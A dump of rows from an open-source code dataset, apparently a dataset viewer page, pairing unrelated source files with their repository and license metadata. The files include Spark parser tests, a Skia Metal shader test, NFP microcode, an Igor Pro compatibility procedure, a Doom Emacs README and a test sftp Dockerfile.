1055 struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:array(num8_t,128)) "_OSVERSIONINFOA"
1056 ptr(struct(4:reg32_t,12:ptr(TOP),16:ptr(struct(0:array(reg8_t,67),67:num8_t)))) "Struct_6*"
39 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:ptr(struct(0:array(reg8_t,676),676:ptr(TOP))))) "Struct_7*"
1057 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:union(ptr(TOP),ptr(struct(0:array(reg8_t,676),676:ptr(TOP)))))) "Struct_10*"
1058 array(reg8_t,252) "unknown_2016"
1059 array(reg8_t,4096) "unknown_32768"
1060 array(reg8_t,3548) "unknown_28384"
1061 array(reg8_t,135168) "unknown_1081344"
1062 ptr(struct(0:reg32_t,8:reg32_t,16:reg32_t,20:ptr(TOP),28:reg32_t,40:reg32_t)) "Struct_87*"
1063 ptr(struct(16:ptr(TOP),40:reg32_t,44:ptr(TOP))) "Struct_35*"
1064 ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t),20:ptr(reg16_t))) "Struct_68*"
1065 ptr(struct(12:ptr(TOP),16:ptr(TOP))) "Struct_12*"
3 reg32_t "BOOL"
0 code_t "_onexit_t"
| BlitzBasic | 1 | matt-noonan/retypd-data | data/plink.exe.decls | [
"MIT"
] |
/*
* Copyright (C) 2020 Netronome Systems, Inc. All rights reserved.
*
* @file actions_l2_switch_host_bc_mc_test.uc
* @brief Tests the L2 switch (host) action with broadcast
* and multicast traffic
*
* SPDX-License-Identifier: BSD-2-Clause
*/
;TEST_INIT_EXEC nfp-reg mereg:i32.me0.XferIn_33=0x44554D4D
#include "pkt_bc_ipv4_udp_x88.uc"
#include <global.uc>
#include "actions_harness.uc"
#include <actions.uc>
#include "single_ctx_test.uc"
local_csr_wr[T_INDEX, (32 * 4)]
immed[__actions_t_idx, (32 * 4)]
alu[__actions_t_idx, t_idx_ctx, OR, &$__actions[0], <<2]
nop
local_csr_wr[T_INDEX, __actions_t_idx]
nop
nop
nop
bits_set__sz1(BF_AL(pkt_vec, PV_MAC_DST_MC_bf), 1)
__actions_l2_switch_host(pkt_vec)
test_assert_equal(*$index++, 0x44554D4D)
test_pass()
PV_SEEK_SUBROUTINE#:
pv_seek_subroutine(pkt_vec)
| UnrealScript | 3 | rodinluo/nic-firmware | test/datapath/actions_l2_switch_host_bc_mc_test.uc | [
"BSD-2-Clause"
] |
#+TITLE: lang/ledger
#+DATE: October 13, 2019
#+SINCE: v2.0.4
#+STARTUP: inlineimages
* Table of Contents :TOC_3:noexport:
- [[#description][Description]]
- [[#module-flags][Module Flags]]
- [[#plugins][Plugins]]
- [[#hacks][Hacks]]
- [[#prerequisites][Prerequisites]]
- [[#features][Features]]
- [[#configuration][Configuration]]
* Description
This module adds support for [[https://www.ledger-cli.org/][ledger]] files. Ledger is a command line double-entry
accounting system that works with simple text files holding transactions in the
following format:
#+BEGIN_SRC ledger
2015/10/12 Exxon
Expenses:Auto:Gas $10.00
Liabilities:MasterCard $-10.00
#+END_SRC
This modules enables the following features:
+ Syntax and indentation support for ledger files
+ Add, edit, and delete transactions
+ Generate reports
+ Schedule transactions
+ Sort transactions
+ Display statistics about transactions
+ Display balance up to a point
** Module Flags
This module provides no flags.
** Plugins
+ [[https://github.com/purcell/flycheck-ledger][flycheck-ledger]]
+ [[https://github.com/atheriel/evil-ledger][evil-ledger]]
** Hacks
This module sets ~ledger-clear-whole-transactions~ to ~t~ (default value is
~nil~). This results in ~ledger-toggle-current~ toggling the clear status of the
whole transaction instead of toggling just the current posting.
* Prerequisites
In order for ~flycheck-ledger~ to work and to be able to generate reports you
will need to install [[https://www.ledger-cli.org/][ledger]].
* TODO Features
An in-depth list of features, how to use them, and their dependencies.
* Configuration
Please refer to ~ledger-mode~'s documentation for information on how to
configure it. You can do so within emacs with =C-h i=
| Org | 4 | leezu/doom-emacs | modules/lang/ledger/README.org | [
"MIT"
] |
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct Uniforms {
half4 colorGreen;
half4 colorRed;
};
struct Inputs {
};
struct Outputs {
half4 sk_FragColor [[color(0)]];
};
thread bool operator==(const half3x3 left, const half3x3 right);
thread bool operator!=(const half3x3 left, const half3x3 right);
thread bool operator==(const half2x2 left, const half2x2 right);
thread bool operator!=(const half2x2 left, const half2x2 right);
thread bool operator==(const float3x3 left, const float3x3 right);
thread bool operator!=(const float3x3 left, const float3x3 right);
thread bool operator==(const float2x2 left, const float2x2 right);
thread bool operator!=(const float2x2 left, const float2x2 right);
thread bool operator==(const half3x3 left, const half3x3 right) {
return all(left[0] == right[0]) &&
all(left[1] == right[1]) &&
all(left[2] == right[2]);
}
thread bool operator!=(const half3x3 left, const half3x3 right) {
return !(left == right);
}
thread half3x3 operator/(const half3x3 left, const half3x3 right) {
return half3x3(left[0] / right[0], left[1] / right[1], left[2] / right[2]);
}
thread half3x3& operator/=(thread half3x3& left, thread const half3x3& right) {
left = left / right;
return left;
}
thread bool operator==(const half2x2 left, const half2x2 right) {
return all(left[0] == right[0]) &&
all(left[1] == right[1]);
}
thread bool operator!=(const half2x2 left, const half2x2 right) {
return !(left == right);
}
thread half2x2 operator/(const half2x2 left, const half2x2 right) {
return half2x2(left[0] / right[0], left[1] / right[1]);
}
thread half2x2& operator/=(thread half2x2& left, thread const half2x2& right) {
left = left / right;
return left;
}
thread bool operator==(const float3x3 left, const float3x3 right) {
return all(left[0] == right[0]) &&
all(left[1] == right[1]) &&
all(left[2] == right[2]);
}
thread bool operator!=(const float3x3 left, const float3x3 right) {
return !(left == right);
}
thread float3x3 operator/(const float3x3 left, const float3x3 right) {
return float3x3(left[0] / right[0], left[1] / right[1], left[2] / right[2]);
}
thread float3x3& operator/=(thread float3x3& left, thread const float3x3& right) {
left = left / right;
return left;
}
thread bool operator==(const float2x2 left, const float2x2 right) {
return all(left[0] == right[0]) &&
all(left[1] == right[1]);
}
thread bool operator!=(const float2x2 left, const float2x2 right) {
return !(left == right);
}
thread float2x2 operator/(const float2x2 left, const float2x2 right) {
return float2x2(left[0] / right[0], left[1] / right[1]);
}
thread float2x2& operator/=(thread float2x2& left, thread const float2x2& right) {
left = left / right;
return left;
}
bool test_half_b() {
bool ok = true;
ok = ok && half3x3(2.0h) + (half3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0h) == half3x3(half3(6.0h, 4.0h, 4.0h), half3(4.0h, 6.0h, 4.0h), half3(4.0h, 4.0h, 6.0h));
ok = ok && half3x3(2.0h) - (half3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0h) == half3x3(half3(-2.0h, -4.0h, -4.0h), half3(-4.0h, -2.0h, -4.0h), half3(-4.0h, -4.0h, -2.0h));
ok = ok && half3x3(2.0h) * 4.0h == half3x3(8.0h);
ok = ok && half3x3(2.0h) / (half3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0h) == half3x3(0.5h);
ok = ok && (half3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0h) + half3x3(2.0h) == half3x3(half3(6.0h, 4.0h, 4.0h), half3(4.0h, 6.0h, 4.0h), half3(4.0h, 4.0h, 6.0h));
ok = ok && (half3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0h) - half3x3(2.0h) == half3x3(half3(2.0h, 4.0h, 4.0h), half3(4.0h, 2.0h, 4.0h), half3(4.0h, 4.0h, 2.0h));
ok = ok && 4.0h * half3x3(2.0h) == half3x3(8.0h);
ok = ok && (half2x2(1.0, 1.0, 1.0, 1.0) * 4.0h) / half2x2(half2(2.0h, 2.0h), half2(2.0h, 2.0h)) == half2x2(half2(2.0h, 2.0h), half2(2.0h, 2.0h));
return ok;
}
fragment Outputs fragmentMain(Inputs _in [[stage_in]], constant Uniforms& _uniforms [[buffer(0)]], bool _frontFacing [[front_facing]], float4 _fragCoord [[position]]) {
Outputs _out;
(void)_out;
bool _0_ok = true;
_0_ok = _0_ok && float3x3(2.0) + (float3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0) == float3x3(float3(6.0, 4.0, 4.0), float3(4.0, 6.0, 4.0), float3(4.0, 4.0, 6.0));
_0_ok = _0_ok && float3x3(2.0) - (float3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0) == float3x3(float3(-2.0, -4.0, -4.0), float3(-4.0, -2.0, -4.0), float3(-4.0, -4.0, -2.0));
_0_ok = _0_ok && float3x3(2.0) * 4.0 == float3x3(8.0);
_0_ok = _0_ok && float3x3(2.0) / (float3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0) == float3x3(0.5);
_0_ok = _0_ok && (float3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0) + float3x3(2.0) == float3x3(float3(6.0, 4.0, 4.0), float3(4.0, 6.0, 4.0), float3(4.0, 4.0, 6.0));
_0_ok = _0_ok && (float3x3(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) * 4.0) - float3x3(2.0) == float3x3(float3(2.0, 4.0, 4.0), float3(4.0, 2.0, 4.0), float3(4.0, 4.0, 2.0));
_0_ok = _0_ok && 4.0 * float3x3(2.0) == float3x3(8.0);
_0_ok = _0_ok && (float2x2(1.0, 1.0, 1.0, 1.0) * 4.0) / float2x2(float2(2.0, 2.0), float2(2.0, 2.0)) == float2x2(float2(2.0, 2.0), float2(2.0, 2.0));
_out.sk_FragColor = _0_ok && test_half_b() ? _uniforms.colorGreen : _uniforms.colorRed;
return _out;
}
| Metal | 4 | stayf/skia | tests/sksl/shared/MatrixScalarSplat.metal | [
"BSD-3-Clause"
] |
{{data}}
{% for item in data.test %}{{item.title}}{% endfor %} | Liquid | 3 | stevenosloan/middleman | middleman-core/fixtures/liquid-app/source/data2.html.liquid | [
"MIT"
] |
# A very minimal sftp server for integration testing rclone
FROM alpine:latest
# User rclone, password password
RUN \
apk add openssh && \
ssh-keygen -A && \
adduser -D rclone && \
echo "rclone:password" | chpasswd
ENTRYPOINT [ "/usr/sbin/sshd", "-D" ]
| Dockerfile | 4 | wlerin/rclone | fstest/testserver/images/test-sftp-openssh/Dockerfile | [
"MIT"
] |
module.exports = [
[
/export 'default' \(imported as 'Default1'\) was not found in '\.\/direct-export'/
]
];
| JavaScript | 1 | 1shenxi/webpack | test/cases/side-effects/dynamic-reexports/warnings.js | [
"MIT"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.sql.execution.command
import org.apache.spark.sql.catalyst.analysis.{AnalysisTest, UnresolvedNamespace}
import org.apache.spark.sql.catalyst.parser.CatalystSqlParser.parsePlan
import org.apache.spark.sql.catalyst.parser.ParseException
import org.apache.spark.sql.catalyst.plans.logical.ShowNamespaces
import org.apache.spark.sql.test.SharedSparkSession
class ShowNamespacesParserSuite extends AnalysisTest with SharedSparkSession {
test("all namespaces") {
Seq("SHOW NAMESPACES", "SHOW DATABASES").foreach { sqlCmd =>
comparePlans(
parsePlan(sqlCmd),
ShowNamespaces(UnresolvedNamespace(Seq.empty[String]), None))
}
}
test("basic pattern") {
Seq(
"SHOW DATABASES LIKE 'defau*'",
"SHOW NAMESPACES LIKE 'defau*'").foreach { sqlCmd =>
comparePlans(
parsePlan(sqlCmd),
ShowNamespaces(UnresolvedNamespace(Seq.empty[String]), Some("defau*")))
}
}
test("FROM/IN operator is not allowed by SHOW DATABASES") {
Seq(
"SHOW DATABASES FROM testcat.ns1.ns2",
"SHOW DATABASES IN testcat.ns1.ns2").foreach { sqlCmd =>
val errMsg = intercept[ParseException] {
parsePlan(sqlCmd)
}.getMessage
assert(errMsg.contains("FROM/IN operator is not allowed in SHOW DATABASES"))
}
}
test("show namespaces in/from a namespace") {
comparePlans(
parsePlan("SHOW NAMESPACES FROM testcat.ns1.ns2"),
ShowNamespaces(UnresolvedNamespace(Seq("testcat", "ns1", "ns2")), None))
comparePlans(
parsePlan("SHOW NAMESPACES IN testcat.ns1.ns2"),
ShowNamespaces(UnresolvedNamespace(Seq("testcat", "ns1", "ns2")), None))
}
test("namespaces by a pattern from another namespace") {
comparePlans(
parsePlan("SHOW NAMESPACES IN testcat.ns1 LIKE '*pattern*'"),
ShowNamespaces(UnresolvedNamespace(Seq("testcat", "ns1")), Some("*pattern*")))
}
}
| Scala | 4 | kesavanvt/spark | sql/core/src/test/scala/org/apache/spark/sql/execution/command/ShowNamespacesParserSuite.scala | [
"BSD-2-Clause",
"Apache-2.0",
"CC0-1.0",
"MIT",
"MIT-0",
"ECL-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
# generated from colcon_core/shell/template/hook_set_value.sh.em
export @(name)="@(value)"
| EmberScript | 1 | esteve/colcon-core | colcon_core/shell/template/hook_set_value.sh.em | [
"Apache-2.0"
] |
#pragma TextEncoding = "UTF-8"
#pragma rtGlobals=3
#include "SIDAM_InfoBar"
#include "SIDAM_Range"
#include "SIDAM_Hook"
#ifndef SIDAMshowProc
#pragma hide = 1
#endif
Function SIDAMBackwardCompatibility()
// Set the temporary folder to root:Packages:SIDAM
updateDF("")
// Rename KM*Hook to SIDAM*Hook
updateHookFunctions()
// Change window hook functions
updateWindow()
End
Static StrConstant OLD_DF1 = "root:'_KM'"
Static StrConstant OLD_DF2 = "root:'_SIDAM'"
Static Function updateDF(String grfPnlList)
// When grfPnlList is given, update the information recorded
// in userdata of each window.
if (strlen(grfPnlList))
int i
for (i = 0; i < ItemsInList(grfPnlList); i++)
updateDFUserData(StringFromList(i,grfPnlList))
endfor
return 0
endif
// When grfPnlList is empty (this is how this function called
// from SIDAMBackwardCompatibility), update the datafolders.
DFREF dfrSav = GetDataFolderDFR()
if (DataFolderExists(OLD_DF1))
NewDataFolder/O/S root:Packages
MoveDataFolder $OLD_DF1 :
RenameDataFolder '_KM', SIDAM
elseif (DataFolderExists(OLD_DF2))
NewDataFolder/O/S root:Packages
MoveDataFolder $OLD_DF2 :
RenameDataFolder '_SIDAM', SIDAM
endif
if (DataFolderExists(SIDAM_DF_CTAB+"KM"))
RenameDataFolder $(SIDAM_DF_CTAB+"KM") SIDAM
endif
SetDataFolder dfrSav
String winListStr = WinList("*",";","WIN:65")
if (strlen(winListStr))
updateDF(winListStr)
endif
End
Static Function updateDFUserData(String grfName)
String chdList = ChildWindowList(grfName), chdName
String oldTmp, newTmp
int i, j, n0, n1
for (i = 0; i < ItemsInList(chdList); i++)
chdName = StringFromList(i,chdList)
if (CmpStr(chdName,"Color"))
updateDFUserData(grfName+"#"+chdName)
else
String oldList = GetUserData(chdName,"","KMColorSettings"), newList="", item
for (j = 0; j < ItemsInList(oldList); j++)
item = StringFromList(j,oldList)
n0 = strsearch(item,"ctab=",0)
n1 = strsearch(item,":ctable:",n1)
newList += ReplaceString(item[n0+5,n1+7],item,SIDAM_DF_CTAB)+";"
endfor
SetWindow $chdName userData(SIDAMColorSettings)=newList
SetWindow $chdName userData(KMColorSettings)=""
endif
endfor
oldTmp = GetUserData(grfName,"","dfTmp")
if (strlen(oldTmp))
newTmp = ReplaceString(OLD_DF1,oldTmp,SIDAM_DF)
newTmp = ReplaceString(OLD_DF2,newTmp,SIDAM_DF)
SetWindow $grfName userData(dfTmp)=newTmp
endif
End
Static Function updateHookFunctions()
SetIgorHook BeforeFileOpenHook
if (WhichListItem("ProcGlobal#KMFileOpenHook",S_info) >= 0)
SetIgorHook/K BeforeFileOpenHook = KMFileOpenHook
SetIgorHook BeforeFileOpenHook = SIDAMFileOpenHook
endif
SetIgorHook BeforeExperimentSaveHook
if (WhichListItem("ProcGlobal#KMBeforeExperimentSaveHook",S_info) >= 0)
SetIgorHook/K BeforeExperimentSaveHook = KMBeforeExperimentSaveHook
SetIgorHook BeforeExperimentSaveHook = SIDAMBeforeExperimentSaveHook
endif
SetIgorHook AfterCompiledHook
if (WhichListItem("ProcGlobal#KMAfterCompiledHook",S_info) >= 0)
SetIgorHook/K AfterCompiledHook = KMAfterCompiledHook
SetIgorHook AfterCompiledHook = SIDAMAfterCompiledHook
endif
End
Static Function updateWindow()
String listStr = WinList("*",";","WIN:1"), grfName, str
int i
for (i = 0; i < ItemsInList(listStr); i++)
grfName = StringFromList(i,listStr)
// range
GetWindow $grfName hook(KMRangePnl)
if (strlen(S_value))
SetWindow $grfName hook(KMRangePnl)=$""
SetWindow $grfName hook(SIDAMRange)=SIDAMRange#pnlHookParent
endif
str = GetUserData(grfName,"","KMRangeSettings")
if (strlen(str))
SetWIndow $grfName userData(SIDAMRangeSettings)=str
SetWindow $grfName userData(KMRangeSettings)=""
endif
// layer viewer
GetWindow $grfName hook(self)
if (!CmpStr(S_value, "KMInfoBar#hook"))
SetWindow $grfName hook(self)=SIDAMInfoBar#hook
endif
ControlInfo/W=$grfName indexV
if (abs(V_flag) == 5)
SetVariable indexV proc=SIDAMInfoBar#pnlSetvalue, win=$grfName
endif
ControlInfo/W=$grfName energyV
if (abs(V_flag) == 5)
SetVariable energyV proc=SIDAMInfoBar#pnlSetvalue, win=$grfName
endif
endfor
End
| IGOR Pro | 5 | yuksk/SIDAM | src/SIDAM/func/SIDAM_Compatibility.ipf | [
"MIT"
] |
DROP VIEW IF EXISTS hdb_catalog.hdb_table_info_agg;
DROP VIEW IF EXISTS hdb_catalog.hdb_function_info_agg; | SQL | 2 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/migrations/14_to_13.sql | [
"Apache-2.0",
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.